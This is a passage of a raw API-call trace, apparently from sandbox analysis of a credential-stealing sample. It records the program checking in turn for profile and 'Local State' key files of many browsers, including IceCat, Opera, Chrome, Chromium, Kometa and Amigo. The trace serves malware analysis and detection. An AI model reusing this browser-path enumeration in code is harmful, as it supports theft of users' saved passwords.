lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\Profiles\\..\\profiles.ini") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\Profiles\\..\\profiles.ini" [0143.347] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\Profiles\\..\\profiles.ini" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\netgate technologies\\blackhawk\\profiles.ini")) returned 0xffffffff [0143.347] SHGetFolderPathA (in: hwnd=0x0, csidl=32794, hToken=0x0, dwFlags=0x0, pszPath=0x19f404 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0143.348] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Mozilla\\icecat\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\icecat\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\icecat\\Profiles\\" [0143.348] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\icecat\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\icecat\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\icecat\\Profiles\\" [0143.348] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\icecat\\Profiles\\", lpString2="..\\profiles.ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\icecat\\Profiles\\..\\profiles.ini") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\icecat\\Profiles\\..\\profiles.ini" [0143.348] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\icecat\\Profiles\\..\\profiles.ini" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\mozilla\\icecat\\profiles.ini")) returned 0xffffffff [0143.348] SHGetFolderPathA (in: hwnd=0x0, csidl=32794, hToken=0x0, dwFlags=0x0, pszPath=0x19f3fc | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0143.349] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\K-Meleon\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\K-Meleon\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\K-Meleon\\" [0143.349] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\K-Meleon\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\K-Meleon\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\K-Meleon\\" [0143.349] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\K-Meleon\\", lpString2="..\\profiles.ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\K-Meleon\\..\\profiles.ini") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\K-Meleon\\..\\profiles.ini" [0143.349] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\K-Meleon\\..\\profiles.ini" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\profiles.ini")) returned 0xffffffff [0143.350] SHGetFolderPathA (in: hwnd=0x0, csidl=32794, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0143.350] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Opera Software\\Opera Stable\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Stable\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Stable\\" [0143.350] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Stable\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Stable\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Stable\\" [0143.350] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Stable\\", lpString2="\\Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Stable\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Stable\\\\Local State" [0143.350] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.351] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=79, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0143.351] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x9e) returned 0x3340048 [0143.351] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=79, lpWideCharStr=0x3340048, cchWideChar=79 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Stable\\\\Local State") returned 79 [0143.351] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23611c0 [0143.351] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.352] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Stable\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local state")) returned 0xffffffff [0143.352] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.352] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.357] GetLastError () returned 0x3 [0143.367] SetLastError (dwErrCode=0x3) [0143.367] GetLastError () returned 0x3 [0143.367] SetLastError (dwErrCode=0x3) [0143.367] GetLastError () returned 0x3 [0143.368] SetLastError (dwErrCode=0x3) [0143.368] GetLastError () returned 0x3 [0143.368] SetLastError (dwErrCode=0x3) [0143.368] GetLastError () returned 0x3 [0143.368] SetLastError (dwErrCode=0x3) [0143.368] GetLastError () returned 0x3 [0143.368] SetLastError (dwErrCode=0x3) [0143.368] GetLastError () returned 0x3 [0143.368] SetLastError (dwErrCode=0x3) [0143.368] GetLastError () returned 0x3 [0143.368] SetLastError (dwErrCode=0x3) [0143.368] GetLastError () returned 0x3 [0143.368] SetLastError (dwErrCode=0x3) [0143.368] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Stable\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x208009a, ftCreationTime.dwHighDateTime=0xb0, ftLastAccessTime.dwLowDateTime=0x208009a, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x16, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x884028, cFileName="¤ð\x19", cAlternateFileName="a")) returned 0xffffffff [0143.368] SHGetFolderPathA (in: hwnd=0x0, csidl=32794, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0143.369] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Opera Software\\Opera GX Stable\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\" [0143.369] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\" [0143.369] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\", lpString2="\\Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\\\Local State" [0143.369] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x2361478 [0143.369] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=82, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0143.369] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa4) returned 0x3340048 [0143.369] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=82, lpWideCharStr=0x3340048, cchWideChar=82 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\\\Local State") returned 82 [0143.369] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xb0) returned 0x23611c0 [0143.369] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.370] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local state")) returned 0xffffffff [0143.370] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.370] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.370] GetLastError () returned 0x3 [0143.370] SetLastError (dwErrCode=0x3) [0143.370] GetLastError () returned 0x3 [0143.370] SetLastError (dwErrCode=0x3) [0143.370] GetLastError () returned 0x3 [0143.370] SetLastError (dwErrCode=0x3) [0143.370] GetLastError () returned 0x3 [0143.370] SetLastError (dwErrCode=0x3) [0143.370] GetLastError () returned 0x3 [0143.370] SetLastError (dwErrCode=0x3) [0143.370] GetLastError () returned 0x3 [0143.371] SetLastError (dwErrCode=0x3) [0143.371] GetLastError () returned 0x3 [0143.371] SetLastError (dwErrCode=0x3) [0143.371] GetLastError () returned 0x3 [0143.371] SetLastError (dwErrCode=0x3) [0143.371] GetLastError () returned 0x3 [0143.371] SetLastError (dwErrCode=0x3) [0143.371] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x20800a0, ftCreationTime.dwHighDateTime=0xb8, ftLastAccessTime.dwLowDateTime=0x20800a0, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x17, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x84e4f8, cFileName="¤ð\x19", cAlternateFileName=" ")) returned 0xffffffff [0143.371] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.372] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\" [0143.372] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\" [0143.372] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\" [0143.372] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\Local State" [0143.372] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.372] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=73, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0143.372] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x92) returned 0x3340048 [0143.372] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=73, lpWideCharStr=0x3340048, cchWideChar=73 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\Local State") returned 73 [0143.372] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23611c0 [0143.372] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.372] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\local state")) returned 0xffffffff [0143.372] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.372] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.372] GetLastError () returned 0x3 [0143.372] SetLastError (dwErrCode=0x3) [0143.373] GetLastError () returned 0x3 [0143.373] SetLastError (dwErrCode=0x3) [0143.373] GetLastError () returned 0x3 [0143.373] SetLastError (dwErrCode=0x3) [0143.373] GetLastError () returned 0x3 [0143.373] SetLastError (dwErrCode=0x3) [0143.373] GetLastError () returned 0x3 [0143.373] SetLastError (dwErrCode=0x3) [0143.373] GetLastError () returned 0x3 [0143.373] SetLastError (dwErrCode=0x3) [0143.373] GetLastError () returned 0x3 [0143.373] SetLastError (dwErrCode=0x3) [0143.373] GetLastError () returned 0x3 [0143.373] SetLastError (dwErrCode=0x3) [0143.373] GetLastError () returned 0x3 [0143.373] SetLastError (dwErrCode=0x3) [0143.373] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x208008e, ftCreationTime.dwHighDateTime=0xa0, ftLastAccessTime.dwLowDateTime=0x208008e, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x869238, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0143.374] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.374] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Chromium\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\" [0143.374] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\" [0143.374] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\" [0143.374] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\Local State" [0143.374] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.374] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=68, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0143.374] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x88) returned 0x3340048 [0143.374] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=68, lpWideCharStr=0x3340048, cchWideChar=68 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\Local State") returned 68 [0143.374] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23611c0 [0143.374] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.374] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\local state")) returned 0xffffffff [0143.374] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.374] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.375] GetLastError () returned 0x3 [0143.375] SetLastError (dwErrCode=0x3) [0143.375] GetLastError () returned 0x3 [0143.375] SetLastError (dwErrCode=0x3) [0143.375] GetLastError () returned 0x3 [0143.375] SetLastError (dwErrCode=0x3) [0143.375] GetLastError () returned 0x3 [0143.375] SetLastError (dwErrCode=0x3) [0143.375] GetLastError () returned 0x3 [0143.375] SetLastError (dwErrCode=0x3) [0143.375] GetLastError () returned 0x3 [0143.375] SetLastError (dwErrCode=0x3) [0143.375] GetLastError () returned 0x3 [0143.375] SetLastError (dwErrCode=0x3) [0143.375] GetLastError () returned 0x3 [0143.375] SetLastError (dwErrCode=0x3) [0143.375] GetLastError () returned 0x3 [0143.375] SetLastError (dwErrCode=0x3) [0143.375] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080084, ftCreationTime.dwHighDateTime=0x98, ftLastAccessTime.dwLowDateTime=0x790260, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x13, nFileSizeHigh=0x3, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x85ee18, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0143.376] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.376] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Kometa\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\" [0143.376] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\" [0143.376] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\\\" [0143.376] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\\\Local State" [0143.376] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.376] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=66, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0143.376] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x84) returned 0x3340048 [0143.376] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=66, lpWideCharStr=0x3340048, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\\\Local State") returned 66 [0143.376] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23611c0 [0143.376] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.376] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\kometa\\user data\\local state")) returned 0xffffffff [0143.376] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.377] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.377] GetLastError () returned 0x3 [0143.377] SetLastError (dwErrCode=0x3) [0143.377] GetLastError () returned 0x3 [0143.377] SetLastError (dwErrCode=0x3) [0143.377] GetLastError () returned 0x3 [0143.377] SetLastError (dwErrCode=0x3) [0143.377] GetLastError () returned 0x3 [0143.377] SetLastError (dwErrCode=0x3) [0143.377] GetLastError () returned 0x3 [0143.377] SetLastError (dwErrCode=0x3) [0143.377] GetLastError () returned 0x3 [0143.377] SetLastError (dwErrCode=0x3) [0143.377] GetLastError () returned 0x3 [0143.377] SetLastError (dwErrCode=0x3) [0143.377] GetLastError () returned 0x3 [0143.377] SetLastError (dwErrCode=0x3) [0143.377] GetLastError () returned 0x3 [0143.378] SetLastError (dwErrCode=0x3) [0143.378] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080080, ftCreationTime.dwHighDateTime=0x98, ftLastAccessTime.dwLowDateTime=0x790260, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x13, nFileSizeHigh=0x3, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x85ee18, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0143.378] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.378] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Amigo\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\" [0143.378] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\" [0143.378] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\" [0143.378] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\Local State" [0143.378] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.378] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=65, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0143.378] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x82) returned 0x3340048 [0143.378] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=65, lpWideCharStr=0x3340048, cchWideChar=65 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\Local State") returned 65 [0143.378] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23611c0 [0143.378] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.378] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\local state")) returned 0xffffffff [0143.379] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.379] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.379] GetLastError () returned 0x3 [0143.379] SetLastError (dwErrCode=0x3) [0143.379] GetLastError () returned 0x3 [0143.379] SetLastError (dwErrCode=0x3) [0143.379] GetLastError () returned 0x3 [0143.379] SetLastError (dwErrCode=0x3) [0143.379] GetLastError () returned 0x3 [0143.379] SetLastError (dwErrCode=0x3) [0143.379] GetLastError () returned 0x3 [0143.379] SetLastError (dwErrCode=0x3) [0143.379] GetLastError () returned 0x3 [0143.379] SetLastError (dwErrCode=0x3) [0143.379] GetLastError () returned 0x3 [0143.379] SetLastError (dwErrCode=0x3) [0143.379] GetLastError () returned 0x3 [0143.379] SetLastError (dwErrCode=0x3) [0143.379] GetLastError () returned 